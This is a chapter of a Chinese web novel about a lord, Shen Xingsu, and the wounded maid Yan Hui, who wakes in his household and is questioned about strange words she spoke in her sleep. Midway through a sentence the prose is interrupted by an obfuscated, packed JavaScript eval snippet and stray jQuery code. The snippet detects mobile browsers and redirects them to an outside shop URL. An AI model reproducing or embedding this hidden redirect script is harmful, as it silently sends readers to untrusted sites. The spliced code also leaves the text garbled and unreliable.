14. 第 14 章
    两人进到屋里时,沈星溯依然独自坐在榻前的一张圈椅上,目光沉沉,不知心中在思量什么。

    待两人行礼问安后,沈星溯才好似回过神,向她们身上粗略一扫,笑道:“这些日子我不在,梨青可是又偷嘴吃了,脸蛋圆润了些。”

    梨青捂着脸羞赧道:“小厨房做的饭菜太香,奴婢贪嘴吃多了些。”

    沈星溯笑了两声,将目光移到菊落身上,菊落虽低着头依然能感受到二爷在注视着自己,面上悄悄升起一阵红云,期待着他接下来的话语。

    却不想沈星溯说道:“菊落你是我院中最细心的,我让你留在此处才算放心。”

    菊落身子猛地一颤,抬起煞白的一张脸问道:“二爷您这是……要将奴婢逐出房里去?”

    沈星溯轻轻摇头,站起身,露出身后床榻上的少女。

    “我只是让你们两人暂时留在此处照料她,你们自小跟我,我对你们也再放心不过了。”

    梨青头一回见那少女,好奇地踮起脚尖细瞧,忍不住问道:“她是在睡觉吗?怎么咱们说话也吵不醒她?”

    沈星溯以手抵唇轻咳了一声,解释道:“她为了救我负伤昏迷,于我有恩,你们待她便要像待我一样。”

    梨青讶然,脆生生地道了一声好。

    菊落看那少女似乎伤得极重,哪是十天半月就能痊愈的,要让她将大把时光浪费在这病西施身上,那是十万个不愿意的。

    可沈星溯说一不二,菊落又哪敢反抗,只好低头含糊地嗯了一声。

    不过沈星溯似乎不像菊落猜测的那样重视燕洄,只吩咐了几条细则,余下便让郎中教她们,自己匆匆离开了。

    菊落与梨青在照料燕洄时,发现对方左肋间偌大的伤痕不免胆战心惊。

    梨青感慨道:“刀子捅进皮肉里,不知人有多痛。”

    菊落则摇头叹息道:“要留这么大的一个伤疤在身上,好丑陋。”

    转念一想,这病西施岂不是一辈子都要留着这条丑陋如蜈蚣的伤疤?

    菊落便又窃喜了一会儿。

    感叹归感叹,两人也不敢慢待,悉心照顾了燕洄几多时日,终于等到燕洄伤势转好,悠悠醒转。

    连日来的伤痛于半昏半睡的燕洄来说,几乎如一场恍恍惚惚的梦。

    梦中,眼前似乎有来往的人影,偶尔凑近了她,低喃几句听不清的话语,然后倏地消失不见,独留她一人在黑暗之中苦苦挣扎。

    雾气破散的那一日,燕洄如大梦初醒,迷迷瞪瞪地睁开了眼,先感受到的却是铺天盖地的痛。

    自胸腹间辐射到四肢百骸,痛得她喘不过气。

    四周帷帐拉得严实,略显昏暗,不过能看出床榻装潢极为华丽奢侈,不似在太守府。

    冷不丁的,帷帐被人拉开,探进来一张幼圆白皙的脸蛋,勾着笑,一打眼就与燕洄的视线撞上,反应过来后惊喜地向外喊道:“燕姑娘清醒啦!”

    燕洄尝试了几下都坐不起来,反倒被小姑娘按着肩膀劝阻住了,“你身上的伤还没好利落,先躺着罢。”

    另一只手忽然伸进来,猛地将帷帐掀开,乍泄的天光中一张细眉细眼稍显刻薄的面孔,先是极不屑地瞥了一眼燕洄,转而向另一名姑娘斥道:“梨青,你嚷嚷个什么劲,不就是人醒了吗,又不是过年,有什么值得大张旗鼓地庆祝的?”

    名唤梨青的小姑娘一吐舌头,转身捧来一杯清水,抱着燕洄的头给她慢慢饮下。

    温热的水滑过,滋润了干涸如火烧的喉咙,燕洄对梨青沙哑道:“多谢梨青妹妹。”

    梨青反而羞赧道:“你不用谢我,是二爷派我来好好照料你的,要谢就谢二爷吧!”

    燕洄微愕地睁大了眼睛。

    二爷?沈星溯……

    是了,当时沈星溯命她宿在床前的踏脚上,刺客来袭那刻,她虽惊惧,可还是怕沈星溯会就此殒命,一时慌了神,就扑上前挡住了那剑。

    她本意是想推开刺客,却没料到刺客的剑刺出的那样快,要不是对方最后有了收势,她真就要被串了个透明窟窿了。

    燕洄低下头,果然自己胸腹间鼓鼓囊囊地缠着不少棉布,细嗅之下还有浓苦的药味。

    梨青放了水杯,笑盈盈道:“你昏睡了好些天了,现下这不是太守府而是沈府了,二爷紧张你伤势,特地带了你来京城医治呢!”

    燕洄怔愣了好一会儿,才猛然意识到自己居然已身处沈府之中,

    指尖拂过伤处,摸到一片潮热。

    虽代价有些大,可毕竟她已成功地进了沈府,事已算成了一半。

    瞧见燕洄面上挡也挡不住的喜意,站在一旁的菊落撇了撇嘴,冷哼道:“是啊,来京城医治而已,等医好了伤还不是哪来的再滚到哪去?”

    梨青紧张地看了看燕洄,看她并无异色,这才悄悄地拽着菊落袖子,“你别胡说。”

    为了圆场,梨青又笑着转过头对燕洄道:“还未来得及跟你介绍呢!我是梨青,她叫菊落,我们二人同为二爷房里的贴身婢女,也就是二爷重视你,才叫我们两个来亲自照料你。”

    听到重视两个字眼时,菊落活像被人踩了脚似的跳起来道:“梨青你真是个碎嘴子,跟她一个外人有什么好说的,二爷哪里是重视她,明明是可怜她!”

    “谁可怜呀?”

    有人掀帘进屋,语调轻扬。

    菊落回头望见沈星溯,变换了一张嘴脸笑道:“燕妹妹受这样重的伤躺在榻上动弹不得,奴婢念着她辛苦可怜。”

    沈星溯不作回应,抬步上前,坐在燕洄的面前,询问道:“感觉怎么样?若不适,我再召薛太医来一趟。”

    燕洄自他接近便下意识地瑟缩后挪,心中对他的惧意还残存着,便勉强答道:“多谢二爷好意,奴婢未有不适。”

    “嗯……”沈星溯抱着手臂,沉思了片刻,对梨青与菊落道:“你们先出去吧。”

    梨青痛快地应了一声,拔腿便走。

    菊落心中不甘,紧盯着沈星溯的背影,多行了一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186182|139050||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个礼,口中道:“那奴婢先行告退了,若二爷有事随时唤奴婢,奴婢就在门外。”

    一席话说完,沈星溯并未有丝毫回应,菊落咬牙冲出了屋子。

    门板阖上后的声响将僵住的燕洄唤醒,她伤处疼得剧烈,可也压不住心中的惊慌。

    自那次沈星溯将她关到笼子中,她再与沈星溯同处时便多了一层惧怕。

    更何况此时两个人距离如此近,近得能看清沈星溯落了眸,同时也在打量着她,黑亮的瞳仁中倒映着她全部的不安与惊惶。

    沈星溯不解,“猎隼与大花都在另一处院子,你不必如此惊慌。”

    定了半晌,他好似回过味来,笑着问:“你是在怕我?”

    虽然沈星溯如今面色柔和,比之前的冷面含刀的样子要好上不少,可燕洄莫名地还是不敢与他直视。

    不过,沈星溯这样的身份自然不会念自己曾经作的恶,轻轻揭过这一页不快,漫不经心地阐述道:“你昏睡时曾说过几句梦话。”

    轻飘飘一句话传到燕洄这里却是如雷贯耳。

    她攥紧了手心,背后沁了一层冷汗。

    “唔……你说的一些词我生疏得很,故而好奇,想与你讨教。”沈星溯笑得从容,目光却是不落分毫地紧紧锁在燕洄面上。

    燕洄看着他的淡笑,却知这一关的难处。

    沈星溯不会闲得无故发问。

    必是对她起了疑。

    可燕洄自信自己之前没露出丝毫马脚,不知沈星溯为何对她如此注意,竟连毫无意义的梦话都要记得。

    难道自己在昏迷之中将心中藏着的那桩密事泄露了出去?

    燕洄强装镇静,尝试着问道:“不知我当时说的是哪几句?”

    沈星溯记性好得让燕洄暗恨,明明他不解其意,竟也能分毫不差地鹦鹉学舌出来。

    听过那几句话,虽没有一个字眼与她心中筹谋的大事相关,可依然让她脑中轰然一声,恨不得穿回半月前亲手去捂自己的嘴。

    对于燕洄来说,救护车,医院,止痛药等现代词都是耳熟能详的。

    可如何与沈星溯解释?

    这些词也难为了她一时要编纂得圆滑自然。

    燕洄豁了出去,展颜笑道:“原来这样,奴婢家中曾临时暂住过一名外乡人,她所居之地偏僻,口音重得很,奴婢幼时正是喜欢学舌的年纪,长久地与她相处,虽听不懂她在说什么,但也经常学了下来,本以为长大后都遗忘了,却不想这一昏半醒,又把以往的记忆带了出来。”

    沈星溯目光如炬地看着她,似乎在寻找她话语中的纰漏,“那外乡人在此地留了多久,何故借宿在你家?”

    燕洄便与他直视,强忍着心虚不挪开视线,“留了有半年时间吧,那时旧事奴婢实在记不太清了,若二爷好奇,可让奴婢家书一封,问问家父与家母可还记得。”

    沈星溯略压了眼皮,伸长手臂捞了一杯茶放在嘴边轻啜着,态度不置可否。

    似乎没再怀疑她。